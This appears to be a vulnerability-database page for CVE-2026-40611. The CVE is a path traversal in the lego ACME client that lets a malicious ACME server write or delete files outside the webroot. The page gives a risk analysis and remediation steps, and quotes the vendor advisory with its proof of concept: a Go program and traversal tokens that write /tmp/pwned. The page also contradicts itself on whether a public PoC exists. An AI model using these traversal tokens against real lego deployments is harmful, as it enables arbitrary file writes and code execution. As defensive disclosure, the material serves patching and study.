Skip to main content

lego (ACME client) CVE-2026-40611

HIGH
Path Traversal (CWE-22)
2026-04-16 https://github.com/go-acme/lego GHSA-qqx8-2xmm-jrv8
8.8
CVSS 3.1 · Vendor: https://github.com/go-acme/lego
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Victim points lego at malicious ACME server
  2. Delivery
    Server returns HTTP-01 token with '../' sequences
  3. Exploit
    filepath.Join collapses path outside webroot
  4. Execution
    lego writes keyAuth to attacker path (cron/systemd/webshell)
  5. Impact
    Arbitrary file write, code execution or deletion

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that lego be run with the HTTP-01 webroot solver (the '--http --http.webroot <dir>' options, i.e. the providers/http/webroot provider) AND that lego be pointed at a malicious or compromised ACME server (via '--server') that returns a challenge token containing '../' path-traversal sequences. The write/delete target is limited to paths writable by the lego process, so impact scales with the account's privileges - root grants full-filesystem write, a restricted service account confines it. Limiting factors: the user must actively configure/run lego against the untrusted server (CVSS UI:R), the DNS-01 solver and non-webroot HTTP providers are not affected, and versions 4.34.0 and later enforce validation. It is not remotely exploitable against a lego instance already using a legitimate CA - the CA/ACME server itself is the attacker.

Impact

The signals are deliberately mixed and must be read together. The CVSS 3.1 base of 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) and SSVC 'Technical Impact: total' reflect the worst case: full file write as the lego process, plausibly root. However, EPSS is only 0.05% (14th percentile) and SSVC marks 'Automatable: no', because exploitation is not opportunistic - it requires the victim to have already configured lego to talk to a malicious or compromised ACME server (captured by UI:R). This is not a mass-scannable internet vulnerability; it is a supply-chain/trust-boundary issue affecting anyone who uses an untrusted CA, an internal/self-hosted ACME server that gets compromised, or is tricked into changing --server. There is no CISA KEV listing, so this is not confirmed actively exploited; a POC exists but POC availability is not exploitation. Net: a genuine high-impact bug worth prompt patching for anyone using the webroot solver, but real-world urgency is moderated by the malicious-server precondition rather than the raw 8.8 suggesting broadcast risk.

Exploit ScenarioDerived

A victim runs lego with '--http --http.webroot /var/www/html' and, deliberately or through misconfiguration/compromise, points '--server' at an attacker-controlled ACME endpoint. During the HTTP-01 challenge the malicious server returns a token like '../../../../../../tmp/pwned' (or a cron/systemd path), and lego writes the key authorization there - enabling code execution or file destruction. A working POC that directly drives the webroot provider is published in the advisory, and CVSS AC:L means no special timing or complexity is needed once the malicious server is in the loop.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Arbitrary file write and deletion in the go-acme/lego ACME client (versions before 4.34.0) allows a malicious or compromised ACME server to escape the configured webroot via path traversal. When lego solves an HTTP-01 challenge with the webroot provider, it writes the key authorization to a path built by directly concatenating the server-supplied challenge token; a token containing '../' sequences (e.g. '../../../../tmp/pwned') redirects the write - and the corresponding CleanUp() delete - to any location writable by the lego process, up to remote code execution if lego runs as root. Publicly available exploit code exists (SSVC 'poc'), but the EPSS score is very low (0.05%, 14th percentile), consistent with the requirement that the victim first point lego at an attacker-controlled ACME server.

RemediationAI

Vendor-released patch: upgrade to lego 4.34.0 or later, which is the fixed release for the v4 module line; rebuild and redeploy any downstream binaries that vendor lego. No fixed release is identified for the legacy v3 (<= 3.9.0) or v2/original (<= 2.7.2) module lines, so migrate those to the v4 4.34.0+ line. Distribution users should apply their vendor update, e.g. Red Hat RHSA-2026:21772 (https://access.redhat.com/errata/RHSA-2026:21772). If you cannot patch immediately, the highest-value compensating control is to only ever point lego at a trusted ACME server - verify the --server value and treat any internal/self-hosted ACME endpoint as a trust boundary (protect and monitor it against compromise); this fully removes the attack when honored but relies on operational discipline. Additionally, run lego as a low-privilege, non-root user with a filesystem restricted to the webroot (dedicated account, no write access to cron, systemd unit, or shell-profile directories), which limits blast radius but does not stop writes within reachable paths. Consider the DNS-01 solver instead of webroot where feasible to avoid the vulnerable code path entirely, at the cost of DNS provider configuration. Reference the advisory at https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8.

Affected Packages

go github.com/go-acme/lego no fix
go github.com/go-acme/lego/v3 no fix
go github.com/go-acme/lego/v4 fix: 4.34.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

lego is a widely used Go ACME/Let's Encrypt client library and CLI. The HTTP-01 challenge flow requires the client to place a token-named file under /.well-known/acme-challenge/ so the CA can verify domain control. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory): ChallengePath() in challenge/http01/http_challenge.go builds '/.well-known/acme-challenge/' + token with no validation, and the webroot provider (providers/http/webroot/webroot.go) passes the result through filepath.Join(w.path, ...). Because filepath.Join resolves '..' components, a token like '../../../../tmp/evil' collapses the join to an absolute path outside the webroot, where os.MkdirAll + os.WriteFile create attacker-controlled content and os.Remove deletes attacker-chosen files. RFC 8555 Section 8.3 restricts ACME tokens to the base64url alphabet [A-Za-z0-9_-], which would prevent traversal, but lego never enforces this constraint - it implicitly trusts the ACME server, which is precisely the trust boundary the attacker crosses.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-acme/lego) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Malicious ACME server needs no victim privileges (PR:N) but the user must run lego against it (UI:R); arbitrary file write yields full C/I/A impact within the lego process's unchanged scope (S:U).

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 8.8 HIGH

Primary rating from Vendor (https://github.com/go-acme/lego).

CVSS VectorVendor: https://github.com/go-acme/lego

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 17, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 16, 2026 - 21:28 nvd
HIGH 8.8

DescriptionCVE.org

Summary

The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process.

Details

The ChallengePath() function in challenge/http01/http_challenge.go:26-27 constructs the challenge file path by directly concatenating the ACME token without any validation:

go
func ChallengePath(token string) string {
	return "/.well-known/acme-challenge/" + token
}

The webroot provider in providers/http/webroot/webroot.go:31 then joins this with the configured webroot directory and writes the key authorization content to the resulting path:

go
challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)

RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet ([A-Za-z0-9_-]), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as ../../../../../../tmp/evil, filepath.Join() resolves the .. components, producing a path outside the webroot directory.

The same vulnerability exists in the CleanUp() function at providers/http/webroot/webroot.go:48, which deletes the challenge file using the same unsanitized path:

go
err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))

This additionally enables arbitrary file deletion.

PoC

In a real attack scenario, the victim uses --server to point lego at a malicious ACME server, combined with --http.webroot:

bash
lego --server https://malicious-acme.example.com \
     --http --http.webroot /var/www/html \
     --email user@example.com \
     --domains example.com \
     run

The malicious server returns a challenge token containing path traversal sequences ../../../../../../tmp/pwned. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.

The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:

go
package main

import (
	"fmt"
	"os"

	"github.com/go-acme/lego/v4/providers/http/webroot"
)

func main() {
	webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
	defer os.RemoveAll(webrootDir)

	provider, _ := webroot.NewHTTPProvider(webrootDir)
	token := "../../../../../../../../../../tmp/pwned"
	provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")

	data, err := os.ReadFile("/tmp/pwned")
	if err == nil {
		fmt.Println("[+] VULNERABILITY CONFIRMED")
		fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
		fmt.Printf("[+] Content: %s\n", data)
	}
}
bash
go build -o exploit ./exploit.go && ./exploit

Expected output:

[+] VULNERABILITY CONFIRMED
[+] File written outside webroot: /tmp/pwned
[+] Content: EXPLOITED-BY-PATH-TRAVERSAL

Impact

This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.

A malicious ACME server can:

  • Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.
  • Destroy data by overwriting configuration files, TLS certificates, or application state.
  • Escalate privileges if lego runs as root, granting unrestricted filesystem write access.
  • Delete arbitrary files via the CleanUp() code path using the same unsanitized token.

Executive ViewAI

Why It Matters

go-acme/lego ACME client versions before 4.34.0 allow arbitrary file write and deletion with publicly available exploit code, creating remote code execution risk if lego runs with elevated privileges. Organizations using lego for certificate automation should immediately upgrade to version 4.34.0.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Prevalence
High
widely used Go ACME/Let's Encrypt client embedded in many tools
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:go/github.com_go-acme_lego_v4
pkg:go/github.com_go-acme_lego_v3
pkg:go/github.com_go-acme_lego

Vendor StatusVendor

SUSE

Severity: High

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy